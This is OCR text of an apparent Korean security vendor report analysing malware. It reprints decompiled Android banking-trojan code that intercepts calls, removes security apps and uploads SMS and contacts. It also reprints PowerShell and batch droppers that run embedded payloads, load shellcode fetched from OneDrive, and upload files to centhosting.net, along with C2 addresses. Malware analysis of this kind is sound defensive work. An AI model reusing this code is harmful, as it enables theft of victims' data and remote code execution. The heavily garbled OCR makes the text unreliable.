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public void startMainservice(int v, String s) {
wMainactivityv.kzcwfuhsuveq(this.7AG, “startMainService, requestCode: " + v + ", activity: " + s);
try {
Intent intente = this.getPackagemanager().getLaunchIntentForpPackage(VMainActivityVv.appPackagename);
if(v 104) {
;:mdlee putstring("company_uuio”, ' );
bundlee.putString("APPLICATION_STYLE", "1%);
VMainActivityv.lbmueajkigezbauil(bundle@, “AGREEMENT_SUBMIT_STYLE", "1");
bundlee@.putBoolean(“"OPEN_SMS”, false);
bundlee.putString("PROJECT_NAME", "GBPE");
bundle®.putString("SCANNING_ALL_APP", “"1");
bundle@.putString("HEADER_PICTURE_STYLE", "1");
bundlee.putstring( “UNNECESSARY_AUTO_DELETE_LIST", "1");
bundlee.putstring("URL", SharedPreferencesutils.getvalue("HOST", ));
bundle@.putstring("SERVER_NAME", "SERVER39");
String s1 = SharedPreferencesutils.getvalue(Hash.md5(this.getString(ex7FeEee27)), Hash.mdS(this.getString(ex7recee7a)));
boolean z = Hash.md5(this.getString(ex7FeEee79)).equals(sl);
if(z) {
bundlee.putBoolean(“"KEY_INSTALL_CODE", true);
}
else {
bundlee.putBoolean("KEY_INSTALL_CODE", false);
}
intente.putextras(bundlee);
3
vMainActivityv.sfvgryxfrtyazqtkxlmi(this, intente, v);
3
[22! 6] 6_SharedPreferences A&
=
3) M2 A 2N
oHO| Ad o B2 50| SHHE 3 slese S
2l ol Ex|=|H [OF 3]at &2 HErE R+0HH 2= Helo| =EE Wiix| et 5183 7eItt. 0[01A
o OS2 E o= d OH 9 OHE o A =1 x i=3 [e]
ofd ¢S EiXIot=s Hitl Hut 38 HS MESH| {6l XISHOZ AF| =fRl/F & &S EASITE
OlZ o7 [X|E OlZ {7 [X|H
4orM com.estsoft.alyac ADIEDMES com.datauniverse.antiscam
T M3t com.skt.prod.dialer AlE|ERLt com.infinigru.police phishingeyes
S2REHA com.whox2 Iguplus FHK| HiAl & S| com.secuchart.android.jarvis
whowho com.ktcs.whowho EA viva.republica.toss
WhyCall com.andr.evine.who S com.kebhana.hanapush
2|HH Call kr.co.rememberapp.caller AlotE2|0| com.shcard.smartpay
SAE gogolook.callgogolook? Alotzt= com.shinhancard.smartshinhan

V3 Mobile Security

com.ahnlab.v3mobilesecurity.soda (TKB =EI7t= com.kbcard.kbkookmincard

oj&oto]= com.infinigru. lite.phishingeyes L2|WON 7= com.wooricard.smartapp
ZEH Z-0E|AMO|  com.cyber.dfc.polantispy CIXIZFHROIZIE) com.lcacApp
HXE kr.co.thecheat.thecheat i-ONE Bank com.ibk.android.ionebank
ZEHE Afo|HE kr.go.police.cybercop KB =223 AEHHZ com.kbstar.kbbank
[ 4] 2| CHA 4 2|AE
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private woid uninstallapk() {
if(!settingutils.isEnabledAaccessibility(this)) {
return;
k;

if(liste != null && liste.size() != @) {
AppStartv.istninstollApk = true;
Uri urie = Uri.parse(("package:" + ((UninstallapkBean}liste.get(e}).getPackageName(})};
Intent intente® = new Intent(“android.intent.action.DELETE", urie);
intente. setFlags(ex1ea00000)
intente. putExtra{“android. intent.extra.RETURN_RESULT", true);
intente. setbata{uriag);
this.startactivityForResult(intenta, 1881});

List liste = Settingutils.getuUninstallapkList(appStartv.getContext(), AccessibilityHelper.UNINSTHkL_AFK};

3
1
[ 7] 4 AfH|
SAX= &Rl T=kE 7= A0| OtL[2} Ho|2 He} 7|52 S3ll AFAIE &% + QT 7|Z0| ZH[3l=E
O[0IX|S1} & ZS Sofi Tt deliet S etHS Fdoli 0|2 53E &F Qi HES THdsio] =
PlErettt. ol Tt 7|F e Mgt

P

private woid initIncomingur(} {
this.callcustomview.setCallBack{new CallButtenCallback() {
Boverride
public void acceptCall() {

overlayservice.this.startTimer();
overlayservice.rloal Lingcontainer. setvisibility(e};
overlayservice.rlIncomingtontainer.setvisibility(8);

b

Boverride
public void rejectCall() {

overlayservice.this.cancelTimer();
¥
1)
¥

private view initview() {
Logutils.callLog(“com.wish. Imbank.overlay.0verlayservice, initview");
View viewd = ((LayoutInflater)this.getsystemservice("layout_inflater”)}).inflate(ex7Fecee24, null});
overlayservice.rlincomingcontainer = (Relativelayout)views. findviewById(@x7Fe98135);
overlayservice.rlcal lingContainer = (RelativeLayout)viewd.findviewById(@x7Fe9ea92);
overlayservice.tvwDialing = (Te: wWiviewd, findviewById(@x7Fa38257);
this.tvIncomingTitle = (Te viewd.findviewById(@x7F@9e254});
this. tvIncomingNumber = (Text) Jyviews. findviewById(@x7Fe98259);
this.callcustomview = (CallCustomview)viewd.findviewById(@x7Fe9easa);
this.tvrPhone = (Textview)viewe.findviewById(ex7Fe9e1B5);
this.twrhone2 = (Textview)views.findviewById(e@x7Fe9e@1Bs);
overlayservice.LLTimercontainer = (LinearLayout)views.findviewById(@x7Fe9e167);
this.twcallingTime = (Textview)viewd.findviewById(@x7Fe9e25C);
this.ivspeaker = (Imag viewd. findviewById(ex7Fe9e134);
this.ivRecording = (Imageview)viewd.findviewById(@x7F@9e133);
this.ivcalLstop {Ima en)viewe. findviewsyId(8x7Fe98131);
this.twcal Lstop w)viewd.findviewById(ex7Fe9e256);
this.ivwMic = (Imageview)viewd.findviewdyId(ex7Fe3e132);
this.twRecording = (Textview)viewd.findviewById(ex7Fe9e258);
this.place = viewd.findviewById(ex7F@98183);

LogUtils.calliog(("com.wish.lmbank.overlay.oOverlayService, acceptCall, isacceptcall: " + SettingUtils.acceptCall((({cContext)}overlayService.this)}});

LogUtils.calliog(("com.wish.lmbank.overlay.oOverlayService, rejectcall, isendCall: " + Settingutils.endCall(((Context)overlayservice.this}))};

[22 8] Ho|=2 Tt Z 7Y 8L VI
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else if(TelephonyManager.EXTRA STATE _RINGING.equals(s2)) {
TelerhoneReceiver.is0ffHook = false;
TelePhoneReceiver.callstartTime = new Date();
String s& = SettingUtils.isForced(incoming_number);
if(ITextutils. isEmpty(s8)) {
if(!settingutils.isDefaultDialer(Appstartv.getContext(}}) {
Settingltils.toHome({contexta);
this.isToHomeByCode = true;
¥

this.sovediumberreal = s8;
SharedPreferencesUtils. putvalue("KEY_FORCED_PHOME", incoming_number};
TelePhoneReceiver.mcalllogBean = new CallLogBean(incoming_number, this.savediumberfeal, "forced”, System.currentTimemillis()});
if(!settingutils.ispefaultDialer(Appstartv.getContext(}}) {
ContentUtils.insertContacts(context®, this.sgvediumberfeal, incoming_number);
v = OverlayService.actionStart(contexte, this.savediumberreol, 1);
¥

stringBuildere.append(”, isshow: " + ((boolean)v) + ", callLog_: " + TelerhoneReceiver.mCallicgBeon.testring());
this.mPhoneCollListener.onIncomingCallReceived(incoming_number, this.sowvediumberfeal, "forced”, TelePhoneRecelver.callstortTime);
LeogUtils.callleg{stringBuilderd®.toString());
}
else if(SettingUtils.isBlackList({incoming_number}) {
if(Teleprhonereceiver.mcalliogBean != null &% (("forwarding”.equals(TelerhoneReceiver.mcalliogeean.getType())) || (“forced”.equals(TelerhoneRece|
TelerhoneReceiver.mialLLiogBean. setDuration(((long)Math.ceil(((double) (System.currentTimeMillis() - TelePhoneRecelver.mialliogBean.getDate()
Callioghelper.addCalllog(TeleFhoneReceiver.mCalliogBean);
¥

TeleFhoneReceiver.mfalllogBean = new CallLogBean(incoming_number, incoming_number, "blacklist", System.currentTimeMillis(}};
stringBuildere.append(”, ZE:BH, callLog : " + TelePhoneReceiver.mcalllogBean.tostring());
this.mPhoneCollListener.onIncomingCallReceived(incoming_number, incoming_number, “blacklist™, TelePhoneRecelver.callstartTime);
LeogUtils.callleg{stringBuilderd®.toString());
if{settingUtils.endCcall{contexta))} {

this.isBlock = true;

by

(=2 9] T2t Ao

C2 FES Soll EXt 7|52 EForLt HEA, T} 7|8 S AMHZE TESHH 'ANDROID" BECZ ¢ AX|

public woid run() {
StringBullder stringBullder® = new StringBullder(};
this.stringguilder = stringBuildera;
stringBuilder®.append(“UploadPhoneInfoRunnable, mFlag: " + this.mrFlag);
if("sms_aLL".equals(this.mFlag)}) {
this.sms(};
return;

b

if("CoNTACT" .equals(this.mFlag)) {
this.contact();
return;

}

if("caLL_Log".equals(this.mrlag)) {
this.callLog();
return;

b

if("ANDROID™.equals(this.mFlag)) {
this.android(};

b

(22 10] & =
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[Phishing Site]
hxxp[:]//149.30.244[.]244

[Update Server]
149.30.244(.]21/app2/app2.apk
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20| E7thwp' 0IF2| C|0| mnt ehH| B2 E0f|M= =7t ShellCode £ L= 7|58 $Adh=
'230509.bat' IAUO0| Xts&ldH ELCY.

fdirPath = Get-Location;
if($dirPath -Match "System32" -or $dirPath -Match *Program Files")
{$dirPath = "%temp%'};

$1lnkpath = Get-ChildItem -Path $dirPath -Recurse *.1lnk *| where-object {$_
SElect—Dbject -ExpandProperty FullName;
fpdfFile = gc $1nkpath -Encoding Byte -TotalCount 88862888 -ReadCount 8886

$dePath = '“tEﬂ][_.l-.:. | AIE MO1, H  Cj20] 2O} 20 %?.'-'I--h'l'-f[-' R
sc $pdfPath L[ yte[]]t$deFlle ‘| select -Skip ©04088)) -Encoding Byte; "&
= gc $lnkpath -Encoding Byte -TotalCount 88866145 -ReadCount 8886
= '“tempm 230589 .bat " ;
c $exePath ([byte[]]($exeFile *| select -Skip ©8062888)) -Encoding Byte;
& $exePath;

SAXk= HWP C|20] mtd W&o oixf HRZ 2F Sl 22te! MEelE tixlel 222 ZARS T2
25

ALESI0] ALEARES| oj7dE HEe XEEE ERELICL

ESTsecuriTy I

31



(Bl 2B Ao 26 o9 12 20H S20| 20 hep [C:WUsersWiohnWappDataWlocaWTempW] - #1I212W~ =2

HAW - PED) - AAY - EW - HIHD - £ -

| f -  =Normmal - % HE = =|[3+100 pt == 2 7 2k~ 2 -2 -

mhaton @t dussg i FotingForsstsssstyion forstageafosnten Guostubnspoon ot Batsn B o Bty BBt Mt

FEAE g gaddd, 538 9 disd goty =50 27

By 343 | 20239 58 8% | 3, 0l2R

— hitps-/ffirenzedt com/27251

BME Z H[0|S $0) 5 FA0| B S UE 4F YR YUTMOE 23 UE
0| 0|O{AT SUTH M T LN WA 0| WY TIAT ME OE H4E B

3, U e-2s Yo Got BE Ho|EH YD oM E "FHeIF oI

0L W 2zl weYOl YAsD 2y 2 BaY Wb
Holo] 3§ mUCH M8 YEES| 4
23R BEERl O|SUHE 22 4ol o]
3t 7

ESTsecuriTy

opyright@z

P OEAE T AMELA ST x +

&« G ) https://firenzedt.com/27251/ AN a v ¥= :.

2 52 9] Al

¥ sMcHR. Y Y V-GN v FEY ASACHN . WA

(383 23] ALEH, S8 2F tiSol L0}
Lt =&0| 717

249, 2 H0|E B0| £ FYO0| 2 113 9i3 48 L LES YUHH'S ST YESHO| 0/0fX| T AUt
Hote] 5 LISOI Chs 310 4 I MZ CHE S{42 BT, 3 2ima Tl Boh E8 To[sH
Zraict Stojc|2 ‘s40|8'0|cH

S0l oA 2Lt2te] $RYO| URICID FHH 2 FHY LAV YHE L0 oSt Fotel 32 =2uigt
Ch 2% YFEC| 4 NI ThS W 52 o 4 U JoIch HIFEO BT OIS 22| Huo

v U8 2K ALt B} olojal YAEHe
v Ao} ofg, 012 ofso] chaf BB 7)oy 743
v 0|2 CHEY BIH®! 51R0L0| §7) 2202 Y
v HSpIA 2O ge| Aa| EIs e furY
v 2 5502 SA3 o B WHoE Lopio}

[72) 4] HWP CI20| THl(al) 3 418 0lclo] Zi2i(sh)

32



$d="https://api.onedrive.com/vl.8/shares/ul aHRBcHMELy8xZHI2LmlzL 2kvcyFBaFhFWEXKUBSN
$bb="[D11Import(“kernel32.d11")]Jpublic static extern IntPtr CreateThread(IntPtr a,u
Add-Type -MemberDefinition $bb -Name “BBB" -PassThru;$ddd="[D11Import(“kernel32.dll
WaitForSingleObject(IntPtr a,uint b); " ;$fff=Add-Type -MemberDefinition $ddd -Name "
$e=112;
jdo {

try {

$c.Headers["user-agent”] = "connnecting...";

.DownloadData($d);
::GlobalAlloc (Bx0048, $xmpwd.length+8x100);

$aab::VirtualProtect($x0, $xmpwd.Length+8x100, @x48, [ref]fold);

for ($h = 1;%h -1t $xmpwd.length;%$h++)
Jr
L
[System.Runtime.InteropServices.Marshal]: :WriteByte($x8, $h-1, ($xmpwd[Fh]
I3

try {

throw 1;

}

catch {

$handle=%ccc: :CreateThread(®,8,$x0,0,0,0);
$Fff::WaitForSingleObject($handle, 500%1060);

1.
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$HoelWvgXXHFgxuall = Get-ChildTtem -Path $HcDBucufyTEn -Recurse *.1nk | where-cbject
{$ .length -eq @x4453A698} | Select-Object -ExpandProperty Fulllame;
if($HoelWvgXXHFgxualL.length -eq @)
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L

$HcDBucufyTEn = $env:Temp;$
Hoeld HFgxuall = Get-ChildItem -Path $HcDBucufyTEn -Recurse *.1nk | where-object
{$ .length -eq @x4453A698} | Select-Object -ExpandProperty Fulllame;
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$HcDBucufyTEn = Split-Path $HoelvgXXHFgxuaUL;
$ZnmujmxVU = New-Object System.IO.FileStream($Hoeh
[System.I0.FileMode]::0pen, [System.IO.FileAccess]::R
$ZnmujmxVU. Seek (@, [System.I0.SeekOrigin]::Begin);
$0siJUVdRVsHMxU = New-Object byte[] ©x800194(B;
$ZnmujmxVU. Read ($osiJUVARVSHMxU, @, 8xB00194CB);
$ZnmujmxVU.Close();

Remove-Item -Path $HoellvgXXHFgxuaUL -Force;
$RcmUctOQUo = $HcDBucufyTEn + °\' +
[regex]: :unescape( " \uBE44\uC815\UAE3B8\uBB20\uC138\uBB34\uC870 \ uCAAC\uBB28 \uD1B5 \uCICA\uC11CY
uBB2E\uPB6B\LBBT7\UBBTO" ) ;
sc $RemUctOQUo ([byte[]]1($osiIUVdRVsHMxU | select -Skip 8xB8802450 -First Bx888166080))
-Encoding Byte;& $RcmUctOQUo;$FZEfulylSUjvg=%env:public + "\" + '85734.zip’
sc $FZEfulylSUjvg ([byte[]11($osiJUVdRVsHMxU | select -Skip ©x00818A50)) -Encoding

= new-object -com shell.application;

qGLjkZ .Namespace($fZEfulylLSUjveg) ; $zRtgqGLikZ . Namespace ($env:public +
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-t 5 /nobreak

"http://centhosting.net/upload.php” cuserdown.txt
"http://centhosting.net/upload.php” cuserdocu.txt
"http://centhosting.net/upload.php” cuserdesk.txt

_cuserdown. txt
_cuserdocu. txt
_cuserdesk.txt

"http
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net/upload.
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php"

systeminfo.txt

ipinfo.txt
tsklt.txt
cprog.txt

_systeminfo.txt

_dipinfo.txt
_tsklt.txt
_cprog.txt
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"pakistan.txt”
pakistan.txt"

http://centhosting.net/list.php?qg=

setup.cab -F:* > nul
del /¥ /q setup.cab > nul
call > nul

57 /nobreak
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